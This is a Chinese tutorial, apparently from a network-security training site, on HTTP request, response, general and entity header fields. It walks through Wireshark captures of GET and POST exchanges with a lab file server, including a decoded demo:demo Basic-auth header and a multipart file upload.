在HTTP的 请求消息 和应答消息中,都包含头域。头域 分为4 种 ,其中请求 头域和应答头域分别只在请求消息和应答消息中出现,通用头域和实体头域在两种消息中都可以出现,但实体头域只有当 消息中包含了实体数据时 才会出现。下面分别 介绍这4 种 头域中的域名城和功能。
HTTP请求头域
Header 解释 Accept 指定客户端能够接收的内容类型 Accept-Charset 浏览器可以接受的字符编码集。 Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型。 Accept-Language 浏览器可接受的语言 Accept-Ranges 可以请求网页实体的一个或者多个子范围字段 Authorization HTTP授权的授权证书 Cache-Control 指定请求和响应遵循的缓存机制 Connection 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) Cookie HTTP请求发送时,会把保存在该请求域名下的所有cooki
应答 头域只在应答消息中出现,是Web 服务器向浏览器提供的一些状态和要求。如下
HTTP 应答头域
Header 解释 Accept-Ranges 表明服务器是否支持指定范围请求及哪种类型的分段请求 Age 从原始服务器到代理缓存形成的估算时间(以秒计,非负) Allow 对某网络资源的有效的请求行为,不允许则返回405 Cache-Control 告诉所有的缓存机制是否可以缓存及哪种类型 Content-Encoding web服务器支持的返回内容压缩编码类型。 Content-Language 响应体的语言 Content-Length 响应体的长度 Content-Location 请求资源可替代的备用的另一地址 Content-MD5 返回资源的MD5校验值 Content-Ran
通用 头域既可以用在 请求消息中,也可以用在应答消息。
HTTP通用头域
Header 解释 Cache-Control Cache-Control指定请求和响应遵循的缓存机制,可以附带很多的规定值。 Connection 表示是否需要持久连接 Date 表示消息发送的时间 Pragma Pragma头域用来包含实现特定的指令,最常用的是Pragma:no-cache,用于定义页面缓存 Trailer 表示以Chunked编码传输的实体数据的尾部存在哪些头域 Transfer-Encoding WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked),例如:Transfer-Encoding: chunked Up
只有在请求和应答消息中包含实体数据时, 才需要实体头域。 请求消息中的实体数据是一些由浏览器向web服务器提交的数据,如在浏览器中采用POST方式提交表单时,浏览器就要把表单中的数据封装在请求消息的实体数据部分。应答消息中的实体数据是web服务器发给浏览器的媒体数据,如网页,图片和文档等。实体头域说明了实体数据的一些属性。如下表
HTTP实体头域
Header 解释 Allow 列出由请求URI标识的资源所支持的方法集 Content-Encoding 说明实体数据是如何编码的 Content-Language 说明实体数据所采用的自然语言 Content-Length 说明实体数据的长度 Content-Location 说明实体数据的资源位置 Content-MD5 给出实体数据的 MD5值,用于保证实体数据的完整性 Content-Range 用于指定整个实体中的一部分的插入位置,他也指示了整个实体的长度。在服务器向客户返回一个部分响应,它必须描述响应覆盖的范围和整个实体长度 Content-Type 用于向接收方指示实体的介质
3 分析GET方法的HTTP数据包
我们 以HTTP-Get 数据包为例 ,分析GET 方法的HTTP 请求和响应数据包。
分析HTTP请求包
我们 打开数据包,输入过滤条件ip.addr == 10.1.1.33,如下
前三个 是TCP 的三次握手,第四个 数据包则是客户端向服务器 发送的HTTP 请求包,我们来学习分析下,
HTTP 之前的协议,本次我们 不做讲解, 不懂的同学可以看之前的实验,我们来看下HTTP 协议。
Hypertext Transfer Protocol
GET / HTTP/1.1\r\n # 请求行信息
Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n # 专家信息
GET / HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: GET # 请求方法为 GET
Request URI: / # 请求的 URI
Request Version: HTTP/1.1 # 请求的版本为HTTP/1.1
Host: 10.1.1.33:8080\r\n # 请求的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 请求的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 请求语言
Accept-Encoding: gzip, deflate\r\n # 请求的编码格式
Connection: keep-alive\r\n # 使用持久连接
\r\n #空行
Full request URI: http://10.1.1.33:8080/ # 请求的 URI 为10.1.1.33:8080
HTTP request 1/8
Response in frame: 2770 #应答 是第2770 帧
Next request in frame: 2775 # 下一个请求是第2775 帧
以上 就是HTTP 请求包的相关信息,可以看到客户端使用HTTP/1.1版本 向服务器发送了GEY 请求,请求 访问10.1.1.33 的 服务器。 将以上 信息填入到报文 格式中,如下
GET方法的HTTP请求报文格式
GET 空格 / 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Connection : keep-alive \r \n \r \n Full request URI: http://10.1.1.33:8080/
分析HTTP响应包
根据请求包 的信息,我们已经知道, 响应包是第2770 帧 ,下面我们来看下
在HTTP 之前,我们看到了 下图显示的,TCP重组 片段, 这些片段共有2270 个 字节,由于超过 了TCP 数据包的最大数据分段(MSS ),所以将数据在TCP 层进行了分段。 从下面 的信息,可以看到 分断后的数据包及包大小,如#2767 (247 ), 其中2767 表示 帧号,大小 为247 个 字节。
下面 来看HTTP 的具体 部分
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n # 响应行信息
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n #HTTP 响应信息,响应码为200
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求吧
Status Code: 200 # 状态码
Response Phrase: OK # 响应短语
Content-Type: text/html\r\n # 响应的内容类型
Content-Length: 2023\r\n #包 的长度
Content length: 2023
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n # 服务器类型
Set-Cookie: HFS_SID=0.248448607278988; path=/; \r\n # 设置 Http Cookie
Cache-Control: no-cache, no-store, must-revalidate, max-age=-1\r\n # 缓存控制
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n # 空行
HTTP response 1/8 #HTTP 响应
Time since request: 0.015248000 seconds # 响应使用的时间
Request in frame: 2763 # 请求的帧号为2763
Next request in frame: 2775 # 下一个请求 的 帧号2775
Next response in frame: 2778 #下一个响应 的帧号是2778
Content-encoded entity body (gzip): 2023 bytes -> 4375 bytes #内容 编码(gzip )
Line-based text data: text/html # 基于行的文本数据
根据 以上信息,可以知道服务器使用HTTP/1.1 200 OK 响应了 客户端的请求。将信息 填入到报文格式中,如下
GET方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Content-Type : text/html \r \n … Content-Encoding : gzip \r \n \r \n 省略
4 分析POST方法的HTTP数据包
分析HTTP请求包
下面 我们以HTTP-Post 为例,分析 POST 方法的 HTTP 请求和响应。打开 数据包,输入过滤条件ip.addr ==10.1.1.33, 显示 出的HTTP 中,Info列中还有POST 的即可 ,如下
我们 展开分析下
Hypertext Transfer Protocol #HTTP 协议
POST /hfs2_3b287/ HTTP/1.1\r\n # 请求行
Expert Info (Chat/Sequence): POST /hfs2_3b287/ HTTP/1.1\r\n #专家 信息
POST /hfs2_3b287/ HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: POST # 请求方法为 POST
Request URI: /hfs2_3b287/ # 请求 的URI
Request Version: HTTP/1.1 #请求 的版本
Host: 10.1.1.33:8080\r\n # 使用的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 使用的浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 浏览器接受的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 希望使用的语言
Accept-Encoding: gzip, deflate\r\n # 可使用的编码格式,这里是 gzip 和 deflate
Referer: http://10.1.1.33:8080/hfs2_3b287/\r\nhttp://10.1.1.33:8080/hfs2_3b287/\r\n #从 包含的URL 页面发起请求
Cookie: HFS_SID=0.248448607278988\r\n #Cookie信息
Cookie pair: HFS_SID=0.248448607278988
Authorization: Basic ZGVtbzpkZW1v\r\n #授权 证书信息
Credentials: demo:demo # 登录的用户名密码
Connection: keep-alive\r\n # 使用持久连接
Content-Type:multipart/form-data;boundary=---------------------------54542580413055\r\n # 请求的内容类型
Content-Length: 367\r\n # 包的长度
Content length: 367
\r\n # 空行
Full request URI: http://10.1.1.33:8080/hfs2_3b287/ # 请求的 URI 为http://10.1.1.33:8080/hfs2_3b287/
HTTP request 1/6
Response in frame: 3800 # 响应的帧号
Next request in frame: 3802 # 下一个请求的 正好
以上 就是使用POST 方法的 HTTP 请求包,可以看到请求的连接及登录的用户名密码等。将上面 的信息填入到报文格式中,如下
POST方法的HTTP请求报文格式
POST 空格 /hfs2_3b287/ 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Content-Length : 367 \r \n \r \n 忽略
另外 ,我们 在HTTP 的下面,看到了如下的内容
类型 的Multipart/form-data 是上传文件的一种方式。 Multipart/form-data 其实就是浏览器用表单上传文件的方式。最常见的情境是:在写邮件时,向邮件后添加附件,附件通常使用表单添加,也就是用 multipart/form-data 格式上传到服务器。我们 实验中向 服务器上传了一个文件,所以就是此类型。
在 看Wireshark中 的使用
首先看wireshark 中字段与 Multipart/form-data 的对应关系: MIME Multipart Media Encapsulation :代表整个 Multipart/form-data 上传文件中的数据。
Encapsulated multipart part :代表表单中不同部分的数据。
Boundary :用来隔开表单中不同部分的数据。
其次,
1) MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "---------------------------54542580413055"
这行指出这个请求是 multipart/form-data 格式的,且 boundary 是 “----------54542580413055” 这个字符串。
2 )关于 Boundary : Boundary :用来隔开表单中不同部分的数据。实际上,每部分数据的开头都是由 “--”+boundary 开始的(这是 MIME 标准中讲述的标准内容)。
3 ) Encapsulated multipart part :紧跟着 boundary 的是该部分数据的描述:
Content-Dispostion:form-data;name="Filename"\r\n
每一个 part 至少一个 name 和一个 content 部分。
可以从 上面的multipart/form-data中 ,看到我们上传的文本名字为http-post.txt, 内容为“This is demo for HTTP POST”。
分析HTTP响应包
根据Wireshark 现实的响应包帧数,我们来看下第3800 帧 。
Hypertext Transfer Protocol #HTTP 协议
HTTP/1.1 200 OK\r\n # 响应行
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n # 响应信息
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求版本
Status Code: 200 # 状态码
Response Phrase: OK #响应 短语
Content-Type: text/html\r\n # # 响应包类似
Content-Length: 570\r\n # 响应包长度
Content length: 570
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n #web 服务器类型
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n #空行
HTTP response 1/6 # 响应
Time since request: 0.008774000 seconds # 响应请求的时间
Request in frame: 3798 #请求 的帧号
Next request in frame: 3802 # 下一个请求的帧号
Next response in frame: 3804 # 下一个响应的 帧号
Content-encoded entity body (gzip): 570 bytes -> 866 bytes #内容 编码(gzip )
Line-based text data: text/html # 文本内容
以上 就是POST 方法的 HTTP 响应包,可以看到服务器向客户端发送了 HTTP/1.1 200 OK响应 了HTTP 请求包。服务器类型为HFS 2.3 beta, 将数据填入到报文格式中
POST方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Server : HFS 2.3 beta \r \n … Content-Encoding : gzip \r \n \r \n 省略
实验中我们 讲解了 主要的GET和POST 方法, 可以抓包 考虑, 学习其他的方法,动手提高能力 。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

